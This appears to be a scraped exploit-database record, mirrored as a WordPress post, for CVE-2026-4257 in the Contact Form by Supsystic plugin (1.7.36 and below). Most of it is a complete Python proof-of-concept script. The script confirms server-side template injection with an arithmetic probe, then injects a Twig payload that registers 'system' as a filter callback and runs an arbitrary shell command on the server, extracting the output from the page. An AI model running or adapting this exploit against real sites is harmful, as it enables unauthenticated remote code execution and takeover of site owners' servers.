{“lastseen”:”2026-05-11T17:16:11″,”description”:”Contact Form by Supsystic versions 1.7.36 and below server-side template injection exploit that achieves remote code execution…”,”published”:”2026-05-11T00:00:00″,”modified”:”2026-05-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Contact Form by Supsystic 1.7.36 Server-Side Template Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:220753″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-4257″],”sourceData”:”import requests\\n import argparse\\n import re\\n import urllib.parse\\n \\n def check_ssti(url, field_name):\\n print(f\\”[*] Testing SSTI on {url} with field {field_name}…\\”)\\n \\n # Simple arithmetic test\\n test_payload = \\”{{7*7}}\\”\\n params = {\\n \\”cfsPreFill\\”: \\”1\\”,\\n field_name: test_payload\\n }\\n target_url = f\\”{url}?{urllib.parse.urlencode(params)}\\”\\n \\n try:\\n response = requests.get(target_url, verify=False, timeout=10)\\n if \\”49\\” in response.text:\\n print(\\”[+] SSTI confirmed! Found ’49’ in response.\\”)\\n return True\\n else:\\n print(\\”[-] SSTI test failed. ’49’ not found in response.\\”)\\n return False\\n except Exception as e:\\n print(f\\”[-] Error: {e}\\”)\\n return False\\n \\n def trigger_rce(url, field_name, command):\\n print(f\\”[*] Triggering RCE: {command}\\”)\\n \\n # Payload to register system as a filter callback and then call it\\n # We use forms.params.fields.1.value and fields.2.value to avoid quote escaping\\n # last_name will be ‘system’, email will be the command\\n payload = \\”{{_self.env.registerUndefinedFilterCallback(forms.params.fields.1.value)}}{{_self.env.getFilter(forms.params.fields.2.value)}}\\”\\n \\n params = {\\n \\”cfsPreFill\\”: \\”1\\”,\\n field_name: payload,\\n \\”last_name\\”: \\”system\\”,\\n \\”email\\”: command\\n }\\n \\n target_url = f\\”{url}?{urllib.parse.urlencode(params)}\\”\\n \\n try:\\n response = requests.get(target_url, verify=False, timeout=10)\\n print(f\\”[*] Response Status: {response.status_code}\\”)\\n \\n # Look for common patterns in the response that might indicate success\\n # The output usually appears in the ‘value’ attribute of the first field\\n match = re.search(r’name=\\”fields\\\\[‘ + field_name + r’\\\\]\\” value=\\”([^\\”]+)\\”‘, response.text)\\n if match:\\n print(f\\”[!] RCE SUCCESS! Output:\\”)\\n print(f\\”—————————————-\\”)\\n print(match.group(1))\\n print(f\\”—————————————-\\”)\\n return True\\n else:\\n print(\\”[-] Could not find command output in response. Check the response body manually.\\”)\\n return False\\n except Exception as e:\\n print(f\\”[-] Error: {e}\\”)\\n return False\\n \\n if __name__ == \\”__main__\\”:\\n print(\\”\\”\\”\\n CVE-2026-4257\\n Contact Form by Supsystic \\u003c= 1.7.36 – Unauthenticated Server-Side Template Injection via Prefill Functionality\\n \\n ————————————————-\\n \\”\\”\\”)\\n \\n parser = argparse.ArgumentParser(description=\\”PoC for CVE-2026-4257 (SSTI to RCE in Contact Form by Supsystic)\\”)\\n parser.add_argument(\\”-u\\”, \\”–url\\”, required=True, help=\\”URL of the page with the form\\”)\\n parser.add_argument(\\”-f\\”, \\”–field\\”, required=True, help=\\”Name of the form field (e.g., first_name)\\”)\\n parser.add_argument(\\”-c\\”, \\”–cmd\\”, default=\\”whoami\\”, help=\\”Command to execute\\”)\\n \\n args = parser.parse_args()\\n \\n if check_ssti(args.url, args.field):\\n trigger_rce(args.url, args.field, args.cmd)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220753″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220753\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-11T17:16:11″,”description”:”Contact Form by Supsystic versions 1.7.36 and below server-side template injection exploit that achieves remote code execution…”,”published”:”2026-05-11T00:00:00″,”modified”:”2026-05-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Contact Form by Supsystic 1.7.36 Server-Side Template Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:220753″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-4257″],”sourceData”:”import…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-53082","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n